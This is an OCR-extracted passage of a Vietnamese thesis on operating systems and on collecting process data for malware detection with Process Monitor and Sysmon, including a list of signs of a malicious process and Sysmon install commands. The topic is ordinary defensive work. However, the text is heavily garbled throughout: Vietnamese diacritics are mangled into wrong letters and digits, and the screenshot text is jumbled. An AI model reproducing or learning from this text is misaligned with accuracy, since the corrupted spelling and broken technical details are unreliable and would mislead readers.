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LOI CAM POAN

To61 cam doan day la cong trinh nghién ctru cua riéng toi.
Céc s0 liu, két qua néu trong luan van la trung thuc va chua tirng dugc ai cong
bod trong bat ky cong trinh nao khac.

Tac gia luan van ky va ghi rd ho tén

Nguyén Diép Anh
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LOI CAM ON

Trong subt qué trinh hoc tdp va hoan thanh luan van tbt nghiép, t61 da nhan
duogc rat nhiéu su giap d&, dong vién tir thay co, gia dinh va ban be. Toi xin chin
thanh cam on su giup do nay.

Trudce hét t6i xin bay té su cam on dic biét t6i TS P Xuan Cho, ngudi di
dinh hudng cho t6i trong viéc lua chon dé tai, dua ra nhitng nhan xét quy gia va truc
tiép huéng dan toi trong sudt qua trinh nghién ctru va hoan thanh luan vin tot nghiép.

T6i xin chan thanh cdm on nhiing sy giup d& quy bau cua anh Lé Hoang
Puong va cac anh chi cong tac tai trung tim An Ninh Mang - Cong ty c6 phan Cong
nghé NGTECH.

To61 xin gui 101 cdm on t6i gia dinh va ban be, nhitng nguoi luén & bén canh

dong vién, ung hg, tao di€u kién cho t6i hoan thanh khoa luan nay.
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CHUONG 1: GIOI THIEU HE PIEU HANH TRONG MAY
NGUOI DUNG

1.1. Tong quan hé diéu hanh
1.1.1 Khdi niém hé diéu hanh

Hé diéu hanh 13 tdp hop cac chuong trinh dugc t6 chire thainh mot hé théng véi
nhiém vu:

bam bao tuong tac gitra nguoi dung va may tinh.

- Cung cap cc phuong tién dich vu dé diéu phdi thuc hién chuwong trinh

- Quan Iy chit ché cac tai nguyén cta may, to chirc khai thac chung mot cach
thudn tién va toi uu,

- Hé diéu hanh 13 cu ndi giira cac thiét bi v6i nguoi dung va giita cac thiét bi
v&i cac chuong trinh thuc hién trén may

- Hé diéu hanh diéu khién va phdi hop viéc sir dung phan cimg cho nhiing ting
dung khac nhau ctia nhiéu nguoi st dung khac nhau. Hé diéu hanh cung cap mot moi

trrong ma cac chuong trinh c6 thé lam viéc hién hitu trén do.

Nguw®i svr Nguwdi s Ngwdi svw Ngwai svw
dung 1 dung 2 dung 3 o duzmgn

Khucng wrinh  HdJp ngiY Socan thdo CSDL
dich van ban

Cdc chudng trinh ¥hg dung

Hé& di€u hanh

Phin cinhg

Hinh 1.1. M6 hinh triru twong cia hé théng may tinh
1.1.2. Céc chirc ning ciia hé diéu hanh

1.1.2.1. Chirc ning ctia hé diéu hanh



- T6 chirc giao tiép gitra ngudi dung va hé thong, co thé thong qua hé thong
1&énh hodc bang chon duoc diéu khién bai chudt va ban phim.

- Cung cép tai nguyén cho cac chuong trinh va t6 chirc thuc hién cac chuong
trinh do;

- T6 chirc luu trit thong tin trén bd nhé ngoai, cung cap cac cong cu dé tim
kiém va truy cap thong tin;

- Kiém tra va hd trg bang phan mém cho céc thiét bi ngoai vi dé c6 thé khai
thac chung mdt cach thuan tién va hi€u qua;

- Cung cép cac dich vu tién ich hé théng (Iam viéc voi dia, truy cdp mang...).
1.1.2.2. Cac thanh phan ctia hé diéu hanh

Pé dam bao nhing chirc nang trén, hé diéu hanh can c6 cac chwong trinh tuong
ing dé:

- Cung cap mdi trudng giao tiép gitra ngudi dung va hé thong: thong qua hé
thong ciu 1énh dugc nhap tir ban phim hoic thong qua cac dé xuit cua hé thong (bang
chon, ctra sd, biéu tuong dd hoa ...) duoc diéu khién bﬁng ban phim hoéc chuot.

- Quan 1y tai nguyén bao gdm va phan phdi thu hoi tai nguyén

- T6 chuc thong tin trén b nhé ngoai nham Iuu trir, tim kiém va cung cip
thong tin cho cac chuong trinh khac xu 1y (duoc goi chung 13 hé théng quan 1y tép)

- Pa s6 cac hé diéu hanh phd bién hién nay c6 mét sb tién ich lién quan dén
mang may tinh d6 1a cac dich vu két ndi va lam viéc véi Internet, trao ddi thur tin dién
tur.

1.2. Phén loai h¢ diéu hanh
1.2.1. Gidi thigu vé hé diéu hanh Windows

Hé diéu hanh Microsoft Windows (hodc don gian 1a Windows) c6 ba loai

chinh sau:
1.2.1.1. Bon nhiém mot nguoi dung

Céc chuong trinh phai thyc hién 1an luot



- Méi lan 1am viéc chi c6 mot ngudi duoc ding ki vao hé thong.
- H¢ di€u hanh loai ndy don gidn va khong doi hoi may tinh phai c6 bd xur li
manh.

Vi du: MS-DOS 12 mot hé diéu hanh don nhiém mot nguoi dung.
1.2.1.2. Ba nhiém mdt nguoi dung

- Chi cho phép mdt nguoi duoc ding ki vao hé thong nhung cé thé kich hoat
cho h¢ thdng thyc hién dong thoi nhiéu chuong trinh.

- Hé diéu hanh loai nay kha phtic tap va doi hoi may phai c¢6 bo xir 1i du manh.

Vi du: Windows 95 14 hé diéu hanh da nhiém mot ngudi ding.

1.2.1.3. Pa nhiém nhiéu nguoi dung

- Cho phép nhiéu nguoi duoc dang ki vao hé thong, c6 thé thyc hién dong thoi
nhiéu chuong trinh.

- Hé diéu hanh loai nay rat phuc tap, doi hoi may phai ¢6 bd xtr 1i manh, b
nhé trong 16n va thiét bi ngoai vi phong phu.

Vi du: Windows XP, Windows 10 1a mot hé diéu hanh da nhiém nhiéu ngudi

dung.
1.2.2. H¢ diéu hanh Linux
1.2.2.1. Gidi thiéu hé diéu hanh Linux

Linux 1a mot hé diéu hanh may tinh ma ngudn mo, cach hoat dong gidng nhu
cac hé diéu hanh khac nhu: Microsoft Windows, Apple Mac OS, iOS, Google
android ... Pay 1a mot HPH sur dung ca giao dién GUI va command line.

Nhiém vu ctia Linux 13 cho phép giao tiép giita phan cimg va phan mém may
tinh, x{r 1y tiép nhan thong tin ddu vao va tra két qua ra man hinh, day chinh 1a chirc
ning co ban nhat ciia mot hé diéu hanh.

Hién nay, dudi su hd trg béi cac cong ty 1on nhu IBM va Hewlett-Packard,
ddng thoi nd cling bat kip cac phién ban Unix doc quyén, tham chi 1a mot thach thac

d6i v6i sy thong tri ciia Microsoft Windows trong mot sb linh vyc. S di Linux dat



dugc nhitng thanh cong mot cach nhanh chong 12 nho vao cac dic tinh ndi bat so véi
cac hé thong khac: chi phi phan ctng thap, téc dd cao va kha ning dam bao an toan
t6t, d6 tin cdy cao ciing nhu 13 gia thanh ré, khong phu thudc vao nha cung cép.

Céc ban phan phdi Linux hién nay:

- Ubuntu.

- Debian GNU/Linux.

- Ultimate Edition.

- Red Hat Enterprise Linux.

- Fedora Core.

- Linux Mint.

- Knoppix.

- Vubuntu.

- OpenSolaris.
1.2.2.2. Kién triic ctia hé diéu hanh

Vé co ban kién tric ctia hé diéu hanh LINUX/UNIX bao gém cac bd phan
chinh nhu sau:

Kernel: Kernel chinh 13 phan nhan cua linux, 13 thanh phan quan trong nhét va
c6 nhiém vu thiét 1ap giao tiép giira cic phan mém va thiét bi phan cimg. Hon thé
nita, n6 con dam nhan viée quan 1y tai nguyén cta hé théng. N6 c¢6 boén nhiém vy sau:

- Quan ly thiét bi: Mot may tinh s& c6 nhiéu thiét bi nhw CPU, RAM, card d6
hoa ... Kernel s& luu trit tit ca cac dir liéu lién quan dén tat ca céc thiét bi trong trinh
diéu khién thiét bi driver

- Quan 1y b nho: Mot chic nang khac do 1a quan ly b nho. Kernel theo doi
bd nhé di st dung va chua sir dung va dam bao rang céc tién trinh khong duoc sir
dung dir li€u cua nhau béng dia chi bd nh¢ ao.

- Quan ly quy trinh: Kernel chi dinh du thoi gian va wu tién cho cac quy trinh
tudc khi CPU xur Iy cac quy trinh khéc

- Xir 1y 1énh goi hé théng: Xur 1y 1énh goi hé théng c6 nghia 1a mot lap trinh

vién ¢ thé viét mdt truy van hodc yéu cau kernel thyc hi¢én mot tdc vu nao do.



System Libraries: System Libraries 1a nhitng thu vién / phan mém dic biét
gilip truy cép vao cac tinh ning ctia Karnel. Mdi Karnel s& phai dugc kich hoat dé
thuc hién mdt tac vu cac rng dung s€ hoan thanh nhiing tac vu do.

System Tools: HE diéu hanh Linux c6 mot tap hop cac cong cu ti¢n ich, thuong
1a cac 1énh command line don gian. N6 13 mot phan mém ma dy an GNU di viét va
xuat ban theo gidy phép ma ngudn mé ciia ho, nham gitp phin mém cung cip mién
phi cho tit ca moi ngudi.

Vi su trg gitp cua cac 1€nh, ban co thé truy cép file cua minh, chinh sua va
thao tac dir liéu trong thu muc hodc file ctia ban, thay ddi vi tri cua file hodc bat cir
mot thao tac nao khac.

Development Tools: Vi ba thanh phén trén 14 hé diéu hanh Linux c6 thé hoat
dong duoc roi ddy. Nhung nham giup cac nha phat trién co thé cap nhat hé thong,
cling nhu tao ra nhirng cong cu khéc thi Linux cho phép 1ap trinh vién stir dung nhiing
cong cu riéng cua no, ta goi la toolchain.

End User Tools: Day chinh 13 tdp hop nhitng phan mém ma ngudi dung cai
vao may tinh dé st dung nhu: Trinh duyét web, phan mém nghe nhac, office ...

Linux Operating System

User

Process Compilers

System Libraries

Kernel Modules

!

Hinh 1.2. H¢ diéu hanh Linux




1.3. Két luan Chwong 1

Két thuc chuwong 1, luan vin da trinh bay tong quan vé hé diéu hanh, trong d6
trinh bay chi tiét vé hai h¢ diéu hanh phd bién nhat hién nay 14 Windows va Linux.
M&i hé diéu hanh, luan va da nghién ctru vé kién tric, thanh phan va nguyén 1y hoat
dong. Trong chuong tiép theo, luan vin sé& tip trung nghién ctru vé cac phuong thic

thu thap dir liéu lién quan tdi tién trinh trén hé thong.



CHUONG 2: NGHIEN CUU PHUONG PHAP THU THAP
TIEN TRINH TREN HE PIEU HANH

Dinh nghia vé tién trinh bat thuong: "Process, hay tién trinh, 14 sy thyc thi cua
mot chuong trinh va thyc hién cac hanh dong lién quan duogc chi dinh trong mot
chuong trinh, hoac n6 1a mot don vi thyuc thi noi chuong trinh chay. Hé diéu hanh tao,
1én lich va chidm dit cac tién trinh. Cac tién trinh khac dugc tao boi tién trinh chinh
duoc goi 1a tién trinh con.

Hoat dong cua bat ki tién trinh nao cling dugc kiém soat boi khdi diéu khién
tién trinh (Process Control Block, viét tit 1a PCB). PCB chira tat ca nhiing thong tin
quan trong lién quan dén cac tién trinh, chfmg han nhu: id tién trinh, wu tién, trang
thai, CPU.

Tién trinh bat thuong s& 14 céc tién trinh la, 1am thay d6i performance hé thong
nhu CPU, Memory... lam hé théng hoat dong cham chap hoac co thé bj treo.

Dinh nghia tién trinh doc: La tap cac mau, cac thudc tinh cta tién trinh doc,
ma doc, ma bam cua ma doc, cac chudi dai dién trich xuat tir ma doc (léy tir virus
total). Biéu hién cua tién trinh doc hai:

- Khong c6 icon (biéu tuong)

- Khong c6 thong tin mo ta hoac tén cong ty

- Khong c6 ky tén Microsoft Image

- Tién trinh dugc packed

- Bao gom nhiéu URL la trong phan string cua tién trinh

- C6 chura cac DLL hodc services kha nghi

Tt ca cac mi doc déu co cac hanh vi twong tac téi hé thong va céc tai nguyén
trong h¢ théng. Do d6, dé co thé phat hién ra ma doc can thyuc hién viéc theo ddi cac
tai nguyén cta hé thong, theo ddi su thay doi bat thuong dién ra khi str dung may
tinh. Trong phan ndy, luan van trinh bay cic cong cu co thé sir dung dé theo ddi vé

hoat dong cua tién trinh trong hé diéu hanh.



2.1. Mot s6 phwong phap va ky thuit thu thip tién trinh Windows
2.1.1. Process Monitor

Process Monitor 1a cong cu giam sat va theo ddi danh cho hé diéu hanh
Windows dugc phat trién tir hai cong cu la Filemon va Regmon, dugc sir dung dé
gidm sat cac t€p va hoat dong cia chung. Process Monitor 1a cong cu giam sat hé
théng vo cing manh mé, v4i kha ning giam sat cac tap tin, cira so ding ky cua
mot Gmg dung. Process Monitor cung cap cai nhin truc quan, chinh x4c nhitng gi
tién trinh dang hoat dong trén hé thong va cho phép nguoi ding kha nang cach ly
cac tai nguyén va ung dung yéu cau truy cap. Pay 1a cong cu rat hitu ich hd trg
qua trinh phat hi¢n Malware, phén mém doc hai hodc mudn theo ddi hanh vi cia
bat ky mot chuong trinh nao dang tac dong toi hé thong. Process Monitor c6 kha
nang thu thap rat nhiéu dir liéu trén may tinh Windows, dac biét tap trung vao cac
hoat dong (Input/Output) sau:

- Registry: lién quan t6i cac viée tao, x0a, truy van registry.

- File System: 1ié€n quan t61 hoat dong tao, ghi, x0a tap tin.

- Network: hién thi luu lugng TCP/UDP.

- Process. thong tin lién quan téi tién trinh nhu khéi tao, x0a, suspend...

- Cdu hinh: nhiing thong tin lién quan t6i bo nhd, thoi gian. ..
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Time ... Process Name PID Operation Path Result
6:11:4... W-svchost exe 9416 B\ReadFile C:\Windows\System32\KemelBase dl SUCCESS
6:11:4.. T MsMpEngexe 4196 BhReadFie C:\ProgramData'\Microsoft\Windows Defender\Definttion Updates'{8B4F 11BF-1D70-4DDF-B165-8ACAAB4A...SUCCESS
6:11:4.. W-MsMpEngexe  41% gReadF[Ie C:\ProgramData\Microsoft\Windows Defender\Definttion Updates\{884F11BF-1D70-4DDF-B165-8ACAAB4A.. SUCCESS
6:11:4.. W-svchostexe 9416 (B\ReadFile C:\Windows\System32\winsglite 3.dll SUCCESS
6:11:4.. W MsMpEngexe 4196 B\ReadFile C:\ProgramData\Microsoft \Windows Defender\Definttion Updates\{8B4F11BF-1D70-4DDF-B165-8ACAAG4A.. SUCCESS
6:11:4.. W-svchostexe 9416 @Readﬁle C:\Windows\System32\winsglite 3 dll SUCCESS
6:11:4.. W-svchostexe 2564 [5\ReadFile C:\Windows\System32\State Repository Core.dll SUCCESS
6:11:4.. W-svchostexe 9416 (B\ReadFile C:\Windows\System32\cdp SUCCESS
6:11:4.. T MsMpEngexe 4196 BhReadFie C:\ProgramData'\Microsoft\Windows Defender\Definition Updates'{8B4F 11BF-1D70-4DDF-B165-8ACAAB4A...SUCCESS
6:11:4.. W-svchostexe 9416 BReadFlIe C:\Windows\System32\cdp d SUCCESS
6:114.. W MsMpEngexe 4196 EhReadFile C:\ProgramData\Microsoft\Windows Defender\Definttion Updates\{884F11BF-1D70-4DDF-B165-8ACAAG4A.. SUCCESS
6:11:4... W-svchost exe 2564 [B\ReadFile C:\Windows\System32\StateRepository Core dll SUCCESS
6:11:4... W-svchost.exe 9416 hReadFile C:\Windows\System32\cdpusersve.dll SUCCESS
6:11:4.. W-MsMpEngexe  41% gReadF[Ie C:\ProgramData\Microsoft\Windows Defender\Definttion Updates\{884F11BF-1D70-4DDF-B165-8ACAAB4A.. SUCCESS
6:11:4.. W-svchostexe 2564 [B\ReadFie C:\Windows \System32\State Repository Core.dll SUCCESS
6:11:4... W-svchost exe 9416 B\ReadFile C:\Windows\System32\cdpusersve dl SUCCESS
6:11:4.. W-MsMpEngexe  41% gReadFlIe C:\ProgramData\Microsoft\Windows Defender\Definttion Updates\{8B4F11BF-1D70-4DDF-B165-8ACAAB4A...SUCCESS
6:114... 1 ExplorerEXE 11308 BhReadFie C:\Windows\System32\shiwapi.dl SUCCESS
6:114.. vy ExplorerEXE 11308 @%ReqOpenkey  HKCU SUCCESS
6:114... 'y ExplorerEXE 11308 @ ReqQueryKey  HKCU SUCCESS
6:11:4.. W-svchostexe 2564 BReadFlIe C:\Windows\System32\State Repository Core.dll SUCCESS
6:114.. vy ExplorerEXE 11308 @%ReqOpenKey  HKCU\SOFTWARE\Microsoft\Windows\CumentVersion\ Themes \Personalize SUCCESS
6:114... 'y ExplorerEXE 11308 @4 ReqQueryValue HKCU\Software\Microsoft\Windows\Current Version' Themes \Personalize \Apps UseLight Theme NAME NOT FOUND
6:11:4.. 'y Explorer EXE 11308 @4ReqCloseKey  HKCU\Software\Microsoft\Windows\Current Version\Themes \Personalize SUCCESS
6:11:4... W-svchost exe 9416 gLockF[Ie C:\Users\noob\AppData\Local\ConnectedDevicesPlatform\L noob \ActivitiesCache.db-shm SUCCESS
6:114.. W MsMpEngexe 4196 B\ReadFile C:\ProgramData\Microsoft\Windows Defender\Definttion Updates\{884F11BF-1D70-4DDF-B165-8ACAAG4A.. SUCCESS
6:114.. p ExplorerEXE 11308 gRegCIoseKey HKCU SUCCESS

Hinh 2.1. Man hinh cong cu Process Monitor

ProcessMon c6 tinh ning giam sat va kha ning loc rit manh mé:

- Kha ning bat thong tin qua cac tham sb vao/ra.

- Qué trinh loc (filter) khong 1am mét di lidu.

- Bit cac thong tin cia stack trong cac ludng cho timg hanh dong, do d6 dé
dang phat hién ra goc cua hanh dong.

- Pua ra céc thong tin tin cdy vé chi tiét san pham: dudng din, command line,
nguoi dung, session ID.

- Kha nang cAu hinh céc c6t linh hoat.

- Kha nang filter duoc thiét 1ap toi tat ca cac truong di liu.

- Kha nang ghi log va capture du li¢u rt 16n: khoang 10 tri¢u sy kién duoc
capture voi khoang 10 triéu GB dir ligu.

- Process Tree chi ra méi quan hé giita cac tién trinh lién quan trong cting mot nhanh.

- D& dang xem thong tin vé process thong qua tool tip.

- Ghi log céc thao tac, hanh dong thoi gian boot.
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7 Event Properties — O >

Event Process Stack

Image
F CTF Loader
Microsoft Corporation
Name: ctfmon.exe
Version: 10.0.17763. 1 (WinBuild. 160101.0800)
Path:

[ C:\WINDOWS\system32\ctfmon.exe ]

Command Line:

l “ctfmon.exe™ ]

PID: 8328 Architecture:  64-bit

Parent PID: 3944 Virtualized: False

Session ID: 4 Integrity: High

User: DESKTOP-RT3020D\noob

Auth ID: 00000000:0226ae4c

Started: 6/25/2020 5:36:18 AM Ended: (Running)

Modules:
Module Address Size Path =
ctfmon.exe 0x7ff7331a0000 0x7000 C:\WINDOWS\system3
mtf.dll 0x7ffcd3380000 0x45000 C:\Windows\System32' ,
< >

* | | ¥ | [JNext Highlighted Copy All

Hinh 2.2. Théng tin vé mjt tién trinh Process Monitor thu thip

Déi véi méi tién trinh, cong cu Process Monitor c6 thé thu thap toan bo thong
tin vé tién trinh d6, dic biét trong d6 tap trung vao cac thong sé nhu:

- Time: thoi gian bat dau khoi tao tién trinh.

- Process Name: tén tién trinh.

- PID: Process ID cua tién trinh tao ra su kién trén hé théng. M3i tién trinh
trén hé diéu hanh déu duoc danh mot PID riéng biét giup hé thong lién két cac su
kién v&i nhau va phan biét gitta cac tién trinh trén hé thong.

- Parent PID: Process ID cua tién trinh cha, 14 tién trinh tao ra tién trinh hién tai.

- User: thong tin tai khoan tao tién trinh.

- Operation: hoat ddng ciia tién trinh v&i hé thong nhu (doc, ghi, x6a registry,
tap tin, két ndi mang hay tao tién trinh moi).

- Path: day khong phai 12 dia chi cta tap tin tién trinh, n6 13 duong dan dén bat
ky diéu gi dang duogc thyc hién bdi su ki¢n nay. Vi dy, néu tién trinh tao mot su kién

WirteFile, truong nady s€ hién thj tén tép hoac thu muc ma tap tin mdéi dugc tao.
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Ngoai ra, cong cu con cung cip cac thong tin khac nhu hinh duéi day:

>

Process Monitor Column Selection

Select columns to appear in the Process Monitor window:
Application Details
Process Name
[C]image Path
[] Command Line
[] Company Name

|:| Description
[] version
[] Architecture

Event Details

[] sequence Number Ml erath

[C]Event Class 1 Detail
Operation Result

[Jpate &Time [ relative Time
Time of Day []Duration
[Jcategory [] Completion Time

Process Management
D User Name
[] session ID
[] Authentication ID
[]integrity

Process ID
[] Thread ID
[JParent PID
[ virtualized

[ ok ] | canca |

Hinh 2.3. Thong tin Process Monitor thu thip vé tién trinh

Ngoai nhitng thong tin chi tiét vé timg tién trinh, cong cu con c6 kha ning tong

hop, phan tich cung cp cho ngudi dung cai nhin téng quan vé toan b tién trinh dang

chay trong hé théng.

® 7 Process Tree

[~] Only show processes still running at end of current trace
[~] Timelines cover displayed events only

[® csrss.exe (620)
=) [@7 wininit.exe (772)
[=) [ services.exe (844)
@ svchost.exe (584)
(= [@1 svchost.exe (1012)

@ DllHost.exe (9660)
@ DllHost exe (236)
@ ShellExperienceHost .exe (11348)

@ ApplicationFrameHost.exe (7964)

Client Server Runt...
Windows Start-Up...
Services and Cont...
Host Process for ...
Host Process for ...

COM Surmogate
COM Surmrogate

Windows Shell Ex...

Application Frame ...

Description
L Blldle (D) Idle
=) @7 System (4) System
[#7 Registry (120) Registry
[@ smss.exe (428) Windows Session ... CAWINDOWS\S...
@ MemCompression (2568) MemCompression

CAWINDOWS\sy...
CAWINDOWS\sy...
CAWINDOWS\sy...
CAWINDOWS\sy...
CAWINDOWS\sy...
CAWINDOWS\sy...
CAWINDOWShsy...
C:\Windows\Syst...

@7 SearchUl.exe (1068) Search and Corta... CAWINDOWSAS...
[#7 RuntimeBroker.exe (8036) Runtime Broker C:\Windows\Syst...
(@ RuntimeBroker.exe (11824) Runtime Broker C:\Windows\Syst...

CAWINDOWShsy...

@ MicrosoftEdge .exe (6008) Microsoft Edge CAWINDOWSAS...
@ browser_broker.exe (11168) Browser_Broker CAWINDOWS\sy...
[# YourPhone exe (4316) YourPhone C:\Program Files\...
'@ SkypeApp .exe (10044) SkypeApp C:\Program Files\...
=) (@ RuntimeBroker.exe (11424) Runtime Broker C:\Windows\Syst...

Hinh 2.4. Ciy thw muc vé tién trinh dang chay trén hé thong
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Kha nang tong hop thong tin chi tiét vé tai nguyén hé thong, két ndi mang va

nhic¢u hoat ddng khéc cua tién trinh.

87 Process Activity S O
Processes generating events during trace: #7 Process Timeline - svchost.exe (3416) O %
Process Name CPU ork
# svchostexe 9416 CPU Utilization 100% || 0
(W services exe 844 ’ » 0
il MsMpEng ex 41% L] 12
#svchost exe 2564 File 1/O Bytes 804KB/second [ | 0
+ Explorer EXE 11308 3 L " 0
c‘\fmon.exe 8328 - | 0
¥ svchost exe 3944 File 1/O Operations 276 [ 0
] vmware-auth 4380 i o | I E 0
#/ Registry 120 - 0
(W smss exe 428 Registry Operations 71 0
# csrss.exe 620 ] 0
& wininit exe 77 o 0
] lsass.exe 864 letwork Bytes 100 MBjsec [ | 0
[ svchost.exe 984 [ 0
' svchost.exe 1012 ] 0
#/ fontdrvhost e 84 Network Operations 100 Operations/sec [ | 0
i WUDFHost & 40 | = 0
' svchost.exe 532 ] 0
i svchost.exe 904 Private Memory Bytes B 6.19MB [ 0
1 WUDFHost ¢ 1144 . 0
[ svchost.exe 1400 [ 0
# svchost exe 1504 Memory Working Set 20.1MB = 0
# svchost exe 1520 | | Tl 0
< >
Command Line: C:\WINDOWS\system32\svchost.exe + UnistackSvcd Click on a graph to go to the dosest eventin the trace.
Started:  6/25/2020 6:11:48 Total User CPU:  00:00:01.2343750
Ended:  6/25/2020 6:28:58 Total Kernel CPU:  00:00:00.6093750
231items Detail... Save... Close

Hinh 2.5. Hoat ddng ciia tién trinh dang chay trén hé thong

Process Monitor 1a cong cu dugc phat hanh mién phi trong bd cong cu

sysinternalsuite do Microsoft cung cap, dugc cac chuyén gia an ninh mang hang dau

thé gi6i tin dung trong viéc theo ddi, giam sat tién trinh trén hé théng Windows dé

phat hién ma ddc trén hé théng.

2.1.2. System Monitor

Sysmon la trinh diéu khién thiét bi va dich vu hé théng Windows, sau khi duoc

cai dat s& ton tai trong toan h¢ théng dé theo doi va ghi nhat ky hoat dong cua hé

thong vao nhat ky su kién cia Windows. Sysmon cung cip thong tin chi tiét vé cac

process duoc tao, két néi mang va thay doi thoi gian tao tép. Bang cach thu thap céc

su kién ma no tao ra béng Windows Agent Collection hodc céc tdc nhan SIEM va sau

d6 phan tich ching dé x4c dinh hoat dong ddc hai hoac bat thuong, tir d6 tim hiéu céac

ké xam nhap hoat dong trén mang.
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Tong quan vé kha nang cua Sysmon:

- Ghi nhat ky qué trinh tao tién trinh véi ddy du dong 1énh cho ca tién trinh
hién tai va tién trinh cha.

- Ghi lai gié tri bam cua tap tin khoi tao tién trinh véi gia tri mac dinh 1a SHAT,
ngoai ra con ¢ cac gia tri khac nhu MDS5, SHA256 hoac IMPHASH.

- Luu trit nhiéu gié tri bam.

- Luu trir gia tri GUID trong qua trinh tao sy kién dé cho phép tong hop, phan
tich su twong quan gitra cac sy kién ngay ca khi h¢ diéu hanh Windows str dung lai PID.

- Gia tri Session GUID trong mdi sy kién dé cho phép tong hop, phan tich
twong quan cac su ki¢n trén cung mot phién dang nhap.

- Nhat ky qua trinh tai, qua trinh diéu khién hé thong, thu vién véi chir ky va
gia tri bam cua tirng tap tin.

- Luu nhat ky md, doc b dfa.

- Luu nhat ky két ndi mang, bao gém thong tin tién trinh két ndi, dia chi IP,
céng, dia chi két ndi.

- Phat hién céc thay d6i vé thoi gian tao tap tin dé thu thong tin lién quan téi
su kién thay doi tap tin. Thay doi thoi gian tao tap tin 1a mot trong nhiing k¥ thuat
hay dugc ma ddc su dung.

- Ty dong tai lai ciu hinh néu c6 thay doi trong registry.

- Co ché loc gitip loai trir cac sy kién mot cach linh hoat

- Theo déi, giam sat hé théng ngay tir khi qua trinh khéi dong dé nam bat duoc
toan bd hoat dong cua cac tién trinh trén hé théng Windows.

Hién tai, Microsoft di phat hanh Sysmon phién ban 11, ngudi ding c6 thé tai
vé tr trang cha cia hé thdng microsoft hoic théng qua dia chi:

https://docs.microsoft.com/vi-vn/sysinternals/. Trang web Sysinternals dugc tao ra tur

nam 1996 béi Mark Russinovich dé luu trit c4c tién ich hé thong va thong tin k§ thuat
tién tién cuia 6ng. Ngay ca nhiing chuyén gia an ninh mang hang dau thé giéi, hay nha
phat trién phan mém Windows, déu truy cap dia chi web nay dé tim cac tién ich, cong

cu lién quan téi viéc giam sat Windows.
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Nguoi ding c6 thé don gian cai dit hoic g& bé Sysmon bang dong 1énh nhu

bang dudi day
Bang 2.1. Cau léch cai diat va go bé Sysmon

Thong tin Lénh
Cai dat Sysmon64 -i [<tap tin cau hinh>]
Cap nhat cau hinh Sysmon64 -c [<tdp tin ciu hinh>]
Cai dat event manifest Sysmon64 -m
Hién thi thong tin cu hinh Sysmon64 -s
G0 cai dat Sysmon64 -u [force]

Bing 2.2. Théng tin chi tiét tiy chon ciu hinh ciia Sysmon

Tu A s
Y Mo ta
chon
5 Cai dat dich vu va trinh diéu khién. Ngoai viéc cai dat mic dinh, ngudi
dung cd thé cau hinh theo tép tin cau hinh tuy chinh
-C Cap nhat cau hinh cta Sysmon sau khi da cai dat
-m Cai dat event manifest
-S Hién thi théng tin cAu hinh cai dat d dinh nghia
G& bo dich vy va trinh diéu khién. Tty chon “force” giup hé thong g&
-u s A 5 C AL Nt 1N A NP
bo cong cu ngay ca khi mgt vai thanh phan chua duogc cai dat
1 Luu nhat ky nhimg mé dun duoc cai dat 1én hé thong
-n Luu nhat ky két néi mang
-1 Kiém tra chit ky cta cac tap tin dugc cai

Ngay sau khi cai dat, Sysmon s€ 1ap turc thu thap toan b thong tin sy kién lién
quan t6i tién trinh hoat dong trén hé thong tir khi hé théng bat dau khoi dong va luu
trir vao hé théng. Péi voi hé diéu hanh Windows Vista va cao hon, cac su kién s&

duoc luu trit trong duong dan “Applications and Services Logs/Microsoft
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/Windows/Sysmon/Operational”. Ddi v6i cac hé théng cii, cac su kién s& dugc ghi

vao nhat ky su kién trén h¢ thong.

General I Subscriptions I

Ix

Full Name: Microsoft-Windows-Sysmon/Operational

Log path: I‘ystemRoot%\SystemBZ‘\Winevt‘\LogS\Micrusuft-Windows-Sysrnon%lepsrational.evtx
Log size: 2.07 MB(2,166,784 bytes)

Created: Sunday, June 14, 2020 6:30:18 AM

Moedified: Thursday, June 25, 2020 9:16:52 PM

Accessed: Sunday, June 14, 2020 6:30:18 AM

¥ Enable logging

Maximum log size (KB ): 65536 3:

When maximum event log size is reached:
¢ Overwrite events as needed (oldest events first)
" Archive the log when full, do not overwrite events

¢~ Do not overwrite events ( Clear logs manually )

Clear Log I
oK | cancel | App! |

Hinh 2.6. Thong tin vé dir liéu nhat ky do Sysmon thu thap

Trong phan nay, ludn vin s& khong mé ta cach thirc cai dat Sysmon trén hé
thdng ma tap trung vao trinh bay co ché, nguyén 1y hoat dong ctia Sysmon, cach thic
Sysmon thu thap thong tin vé tién trinh trén hé thng Windows. Trudc khi tim hiéu
chi tiét vé kha ning cia Sysmon, luan van sé trinh bay vé cac su kién trong hé thong
Windows.

Nhat ky sy kién Windows (Event Windows) c6 1€ 1a nhat ky noi tiéng nhét
trén cac hé théng Windows, twong duong véi syslog trén cac hé théng Linux. Nhat
ky su kién ghi lai mot loat cac sy kién hang ngdy xay ra trén cac hé thong Windows
va c6 thé ciu hinh dé ghi lai mdt loat céac sy kién bo sung. Cac su kién nay dugc chia
thanh cac danh muc dugc trién khai thong qua cac ban ghi sy kién khac nhau, chang
han nhu su kién dam bao an toan, hé théng va ung dung. Nhat ky su kién co thé cung
cap rat nhiéu thong tin hitu ich cho viéc khic phuc su ¢d cling nhu dé hiéu cac su kién
trong qué trinh diéu tra, truy vét tin cong mang.

Trén ho hé diéu hanh Windows, tir Windows 2000 dén nay, nhat ky su kién 13
mot cu tric tap tin nhi phan véi tidu dé va mot loat cac ban ghi su kién dugc luu trix

trong t¢p. Dya trén cach hé diéu hanh dugc thiét ké, khi mot s su kién nhat dinh,
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chang han nhu nguoi dung dang nhap hoic tat thi s& c6 mot ban ghi vé sy kién nay
duoc tao va ghi lai. Mot sb su kién khac duoc ghi lai mac dinh, mdt s6 khéc thi duoc
c4u hinh dé duogc ghi lai. Ngoai ra, cic thong tin vé nhat ky sy kién nhu nhu kich

thudc tap tin, thoi gian luu trir déu duoc luu trit trong registry ¢6 duong dan nhu sau:

HKEY LOCAL MACHINE\SYSTEM\CurrentControlSet\Services\E

ventLog\<event log>

Computer\HKEY_LOCAL MACHINE\SYSTEM!\CurrentControlSet\Services\EventLog) OAlets

v Eventlog Al Name Tipe Dia
- ) Application abﬁ(ﬁgf}“{j’|’£jm§ . s
e 8 Dillaneie. REG (1 Progam Wil Offce ot VS Pt
r:;r&:tnix:!::nsme io|DisplayNamelD ~ REG_DWORD (00000066 (102)
Ohlets o MaxSize REG.OWORD 0002000 (13107)
Darameters b PrimaryModule  REG SZ OAlets
Securty 1o/ Retention REG_DWORD 000000000 (0)
Sate
System
Windows PowerShell

Hinh 2.7. Théng tin hru trir vé Event log

Theo mic dinh, hé théng Windows luu trit cac su kién thong dung sau:

